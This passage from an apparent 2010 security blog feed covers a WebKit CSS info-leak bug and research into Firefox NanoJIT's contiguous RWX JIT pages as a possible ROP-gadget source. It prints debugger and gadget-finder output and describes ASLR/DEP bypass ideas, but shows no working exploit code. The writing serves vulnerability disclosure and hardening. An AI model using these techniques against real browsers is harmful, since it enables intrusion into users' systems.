&lt;pre&gt;bf93a000-bf96e000 rw-p 00000000 00:00 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [stack]
&lt;/pre&gt;I did some testing of this bug using Gnome&#39;s Epiphany browser. It also uses WebKit and is a little easier to debug than Chrome. Here is a screenshot of the exploit using JavaScript to read 469 bytes from the stack and displaying it in an alert box:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNtNAYTABWkUy3qjVvkza2Mo51Wl3iYzc9AJQAldsULigbKQFse0Xfl6A3RYZ4u_YvDdnePt2NkH9MX6LXbcn0L29cG3I9WsLVgU52CtdpQc4eS8NTDQdWWBWjk6xHxfo4dyOh/s1600/poc.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNtNAYTABWkUy3qjVvkza2Mo51Wl3iYzc9AJQAldsULigbKQFse0Xfl6A3RYZ4u_YvDdnePt2NkH9MX6LXbcn0L29cG3I9WsLVgU52CtdpQc4eS8NTDQdWWBWjk6xHxfo4dyOh/s1600/poc.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
OK so it&#39;s an info leak. No big deal... right? Info leaks are becoming more valuable as memory corruption mitigations such as ASLR (Address Space Layout Randomization) become more adopted by software vendors. An info leak essentially makes ASLR worthless because an attacker can use it to find out where your browsers heap is mapped or where a specific DLL with ROP gadgets resides in memory.&amp;nbsp;Normally an info leak might come in the form of exposing a single address from an object or reading a few bytes off the end of an object, which exposes vftable addresses. These types of leaks also make exploitation easier but usually don&#39;t expose any of the web content displayed by the browser. In the case of this bug we have to specify what address to read from. If an unmapped address is used or the &lt;i&gt;read&lt;/i&gt; walks off the end of a page then we risk crashing the process. The attacker doesn&#39;t have to worry about this on platforms without ASLR.&lt;br /&gt;
&lt;br /&gt;
But almost as important as reliable code execution, the more sensitive content we push into web browsers the more valuable a highly reliable and controllable info leak could become. You could theoretically use it to read an open document or webmail or any other sensitive content the users browser has open at the time or has cached in memory from a previous site.&lt;br /&gt;
&lt;br /&gt;
Anyways, hope you enjoyed the post, it was a fun vulnerability to analyze. Thanks to Google, Apple and WebKit for responding so quickly [&lt;a href=&quot;http://trac.webkit.org/changeset/72685/trunk/WebCore/css/CSSParser.cpp&quot;&gt;2&lt;/a&gt;], even to a Medium! Now go and update your browser.&lt;br /&gt;
&lt;br /&gt;
[1] &lt;a href=&quot;http://en.wikipedia.org/wiki/Double_precision_floating-point_format&quot;&gt;http://en.wikipedia.org/wiki/Double_precision_floating-point_format&lt;/a&gt;&lt;br /&gt;
[2] &lt;a href=&quot;http://trac.webkit.org/changeset/72685/trunk/WebCore/css/CSSParser.cpp&quot;&gt;http://trac.webkit.org/changeset/72685/trunk/WebCore/css/CSSParser.cpp&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/8503844712963280165/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/8503844712963280165?isPopup=true' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/8503844712963280165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/8503844712963280165'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2010/12/webkit-css-type-confusion.html' title='WebKit CSS Type Confusion'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNtNAYTABWkUy3qjVvkza2Mo51Wl3iYzc9AJQAldsULigbKQFse0Xfl6A3RYZ4u_YvDdnePt2NkH9MX6LXbcn0L29cG3I9WsLVgU52CtdpQc4eS8NTDQdWWBWjk6xHxfo4dyOh/s72-c/poc.png" height="72" width="72"/><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-3546154541855125802</id><published>2010-06-23T17:42:00.000-07:00</published><updated>2010-08-26T17:46:23.206-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="exploitation"/><category scheme="http://www.blogger.com/atom/ns#" term="jit"/><category scheme="http://www.blogger.com/atom/ns#" term="rop"/><title type='text'>Its 2010 and your browser has an assembler</title><content type='html'>&lt;div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;So it&#39;s 2010 and your browser has an assembler. How the hell did that happen? Simple, performance. Your browser probably includes at least one JIT (Just In Time Compiler). One for Javascript (Chrome, Firefox) and possibly others for plugins like Adobe Flash Player. If you&#39;re using Firefox with the Adobe Flash Player plugin then it has two instances of the same JIT called NanoJIT. Firefox uses SpiderMonkey/TraceMonkey as its front end to NanoJIT and Flash uses Tamarin as its front end. TraceMonkey watches for Javascript code that could benefit from being compiled into native code. It translates Javascript into LIR (Low-Level Intermediate Representation) instructions which NanoJIT turns into Native x86, x86_64, Sparc, PPC or ARM instructions. This is why your browser has an assembler in 2010.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Surely native code generation in your browser can&#39;t be bad for security? Dionysus Blazakis figured out a clever exploitation technique [&lt;a href=&quot;http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf&quot;&gt;1&lt;/a&gt;] where he used ActionScript byte code to JIT-spray a browser. The native code generated by Tamarin/NanoJIT was easy to influence via the ActionScript under his control. After reading Dion&#39;s paper last year I wanted to write my own JIT spray and research other JITs. I started with NanoJIT in Firefox. Along the way I noticed some interesting things that I thought would make a good blog post. My research isn&#39;t done but this writeup has been for awhile now and there is no sense in letting it collect dust in a directory any longer.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;So first the basics. Pages for NanoJIT on Windows are allocated using the VirtualAlloc function and have RWX permissions. VirtualAlloc is not subject to ASLR (Address Space Layout Randomization) so it does not return randomized page locations. i.e. An attackers JavaScript can cause many allocations of contiguous RWX page mappings. These allocations are not at a 32-bit x86 page size granularity but their sizes are static. The next JIT-page allocation should be at 0x10000 bytes past the previous one. Dion also notes this in his paper. This is bad, but not the end of the world.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Heres some output from a WinDbg plugin I wrote (JitFind) that tracks the pages NanoJIT is using for compiled JavaScript. There are some holes in the range but as you can clearly see there are multiple contiguous allocations.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;pre&gt;&lt;br /&gt;[ JitFind ] (25) 0x03510000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (26) 0x03520000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (27) 0x03530000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (28) 0x03540000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (29) 0x03550000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (30) 0x03560000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (31) 0x03570000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (32) 0x03580000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (33) 0x03590000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (34) 0x035a0000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;(..)&lt;br /&gt;[ JitFind ] (35) 0x039d0000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (36) 0x039e0000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (37) 0x039f0000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;(..)&lt;br /&gt;[ JitFind ] (38) 0x03b00000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (39) 0x03b10000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (40) 0x03b20000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (41) 0x03b30000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;(..)&lt;br /&gt;[ JitFind ] (42) 0x03c40000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;(..)&lt;br /&gt;[ JitFind ] (43) 0x03c60000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (44) 0x03c70000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;br /&gt;[ JitFind ] (45) 0x03c80000 | js3250!VMPI_setPageProtection+0x4a | Breakpoint is off | RWX&lt;/pre&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;NanoJIT internally uses a CodeList structure to track JIT pages, within each page is a pointer to the previous page, the next page and the offset where the executable code can be found. In the case of NanoJIT, JitFind works by monitoring for calls to VMPI_setPageProtection, nanojit::Assembler::endAssembly, and nanojit::CodeAlloc::reset and then walks the list for pages it might have missed. JitFind can also track pages in any process marked executable with VirtualProtect, and I&#39;m in the process of adding support for other JIT&#39;s as well. Writing JitFind was a large part of this research effort and if I accomplished nothing else, its a pretty nice plugin.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Mozilla had already started to tackle part of the problem awhile back [&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=506693&quot;&gt;2&lt;/a&gt;]. If you couldn&#39;t read that whole Bugzilla thread then I will sum it up for you. Mozilla&#39;s current Linux solution to solve the RWX pages problem is to make a mirror page. One is W and one is X where writes to one are translated to another. There is talk of porting the patch to Win32 and OSX as well. I don&#39;t believe this is the best solution as its goal is to make an SELinux policy happy (no WX pages) and ignores the Windows user base with a bigger problem (contiguous RWX page allocations at non-randomized locations). At best its a partial solution. The contiguous page issue does not affect Linux because NanoJIT will use the mmap function to allocate pages and mmap is subject to ASLR, which means it allocates pages at a random location.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;So its quite obvious if an attacker can get his code into those RWX page regions, or a write4 anywhere condition, via an overflow or dangling pointer, he stands a pretty good chance of guessing where they are because of VirtualAlloc. But theres another twist to this issue and when combined with the contiguous RWX pages, makes for an interesting exploitation scenario.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;NanoJIT writes code backwards from the end of the page. This is why code offsets from the beginning of the page appear to change. One of the important things to know is that NanoJIT also assembles a large jump table and other static code inline with JIT&#39;d code. This static code sets up stack frames and performs other small work for the transition to/from JIT&#39;d code. This means there are static instructions at known offsets repeated across contiguous RWX pages. I started thinking, might an attacker be able to write Javascript that forces the allocation of many RWX JIT pages, trigger his vulnerability and then transfer execution to [&lt;rwx&gt; JIT_PAGE + PAGE_SIZE - ROP Gadget &lt;location&gt;] to get arbitrary code execution? If your not familiar with ROP, it stands for &#39;Return Oriented Programming&#39; [&lt;a href=&quot;http://cseweb.ucsd.edu/~hovav/papers/cs10.html&quot;&gt;3&lt;/a&gt;] [&lt;a href=&quot;http://www.corelan.be:8800/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/&quot;&gt;4&lt;/a&gt;]. Now of course its not as easy as that in the real world. We need to find useable ROP gadgets within that static code. This is done by analyzing a large set of JIT pages, determining if any RET instructions can be found at predictable locations and then finding usable ROP gadgets preceding them. I attempted this using a combination of JitFind to dump the raw JIT RWX page contents as they were created and a simple Ruby script that analyzed each page dump for consistent RET instructions and used rbdasm to dump those potential ROP gadgets.&lt;/location&gt;&lt;/rwx&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;First we need to write some JavaScript that will force Firefox into allocating a bunch of contiguous pages that contain the same static code before we can realistically look for ROP gadgets. Resource intensive JavaScript will be required, thats why the JIT was created in the first place. Remember we are only interested in the static code produced by the JIT, not influencing the instructions like Dion did. I thought about this problem for awhile. Some simple math problems wouldn&#39;t do the trick so I turned to graphics. A Google search for JavaScript ray tracers turned up exactly what I needed. I borrowed a ray tracer written in JavaScript from the internet and after some minor tweaking NanoJIT started to sing. My tweaks mainly consisted of instructing the ray tracer to draw high quality large resolution images. With this I could now force the allocation of many (40 to 50) contiguous RWX allocations through a single instance of the ray tracer. There are a few holes in the address space here, presumably due to the system heap allocator stealing them but I haven&#39;t looked into that. This minor detail obviously hurts the reliability of the technique and I need to research it further.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Heres the output of my gogo-gadget-finder ruby script analyzing 224 pages created by five simultaneous instances of the ray tracer in a single Firefox instance. One issue here is that as pages are no longer needed they are free&#39;d and sometimes allocated again by another ray tracer instance. I filtered these duplicates out and while it lowered the overall number of pages I was scanning it is a more accurate reflection of the process image during runtime. This behavior appears to be different then that of Tamarin and Dions experience with Flash where pages were not immediately unmapped. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;* As Dion points out in the comments, he kept the JIT pages mapped using a reference to functions on them. I suspect you can do something similar in Javascript but I have not looked into it.&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;pre&gt;$ ruby gogo-gadget-finder.rb -m 5&lt;br /&gt;RET @ 0xffd7 (10)&lt;br /&gt;|_ raw_page_2150000-1947765593.bin&lt;br /&gt;|_ raw_page_23d0000-2279729936.bin&lt;br /&gt;|_ raw_page_23f0000-50251687.bin&lt;br /&gt;|_ raw_page_2750000-2059690635.bin&lt;br /&gt;|_ raw_page_29f0000-3894631435.bin&lt;br /&gt;|_ raw_page_2d10000-2295099192.bin&lt;br /&gt;|_ raw_page_2e60000-1268413647.bin&lt;br /&gt;|_ raw_page_2e80000-1700891559.bin&lt;br /&gt;|_ raw_page_3560000-1344858230.bin&lt;br /&gt;|_ raw_page_36c0000-1565064345.bin&lt;br /&gt;RET @ 0xe437 (5)&lt;br /&gt;|_ raw_page_2150000-1947765593.bin&lt;br /&gt;|_ raw_page_23f0000-50251687.bin&lt;br /&gt;|_ raw_page_2750000-2059690635.bin&lt;br /&gt;|_ raw_page_2e60000-1268413647.bin&lt;br /&gt;|_ raw_page_35f0000-1316993084.bin&lt;br /&gt;RET @ 0xfb09 (5)&lt;br /&gt;|_ raw_page_1eb0000-1004861587.bin&lt;br /&gt;|_ raw_page_2e70000-2748893595.bin&lt;br /&gt;|_ raw_page_35d0000-2041835722.bin&lt;br /&gt;|_ raw_page_3620000-3921514024.bin&lt;br /&gt;|_ raw_page_3620000-467968694.bin&lt;br /&gt;RET @ 0xffef (6)&lt;br /&gt;|_ raw_page_1ea0000-181584545.bin&lt;br /&gt;|_ raw_page_29a0000-141065932.bin&lt;br /&gt;|_ raw_page_29b0000-3609538306.bin&lt;br /&gt;|_ raw_page_2e60000-1313636049.bin&lt;br /&gt;|_ raw_page_3580000-330610872.bin&lt;br /&gt;|_ raw_page_35c0000-420260428.bin&lt;/pre&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Thats not a lot of repeated RET instructions, and the ones that do match are generated by the NanoJIT assembler and not in the middle of another instruction stream. Each of these repeated RET&#39;s is preceded by a large jump table and then a &#39;pop ebp&#39; instruction. Whats worse is that the repeated RETs that do exist are not in pages that border one another. So while our ray tracer is generating the right number of pages, we are not getting consistent reusable gadgets across them.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;So where does this leave us? ROP gadgets ending in RET instructions is going to be difficult to pull off. We didn&#39;t even find a stack pivot gadget to kick off the process. More research is needed.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Next Steps:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;It may be possible to chain together sequences of &#39;pop %reg; jmp %reg;&#39; to get code execution [&lt;a href=&quot;http://cseweb.ucsd.edu/~hovav/papers/s07.html&quot;&gt;5&lt;/a&gt;]. These too of course must meet the same requirements as our RET based ROP gadgets. They must be at static locations across many of the JIT pages. More fine grained control over the page creation is also desirable. The ray tracer proved useful for generating pages to search for ROP gadgets but further research of NanoJIT is needed to know whether we can influence a specific jump table or other static code construct. I only looked at NanoJITs generation of 32bit x86 code, it supports other architectures too! Of course researching similar issues on other JITs is also on the radar.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Conclusion:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;This is not a specific flaw in Firefox or NanoJIT. If anything its an architectural oversight that should be further researched and hardened. The Mozilla team obviously cares about your security, which is evident by the SELinux thread from last year, but I think the problem is bigger on Windows and thats where the focus should be. This is not a trivial problem to solve on any platform. There are several factors at play including attacker influenced native code (Dions attack), static code produced by NanoJIT, page permissions and page allocation specifics. VirtualAlloc makes the contiguous allocations unavoidable short of a VirtualAlloc wrapper or another randomized page allocation API. But keeping the page permissions correct is a good place to start. Of course if you have ever written a browser exploit you already know that there are much easier ways to get code execution, DLLs loaded at fixed addresses or heap spray to name a few.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;In the end this could theoretically result in an ASLR / DEP bypass for Firefox or any application that uses NanoJIT. The combination of repeated ROP gadgets in contiguous RWX page allocations makes it worth further study. And while that has not been proven here it was fun to research. Hope you enjoyed the &lt;del&gt;post&lt;/del&gt; rant.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Note:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;If your a Firefox user and the idea of a JavaScript JIT makes you nervous, I have good news for you. You can disable it: &lt;a href=&quot;https://wiki.mozilla.org/JavaScript:TraceMonkey#Playing_with_TraceMonkey&quot;&gt;https://wiki.mozilla.org/JavaScript:TraceMonkey#Playing_with_TraceMonkey&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;[1] &lt;a href=&quot;http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf&quot;&gt;http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;[2] &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=506693&quot;&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=506693&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;[3] &lt;a href=&quot;http://cseweb.ucsd.edu/~hovav/papers/cs10.html&quot;&gt;http://cseweb.ucsd.edu/~hovav/papers/cs10.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;[4] &lt;a href=&quot;http://www.corelan.be:8800/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/&quot;&gt;http://www.corelan.be:8800/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;[5] &lt;a 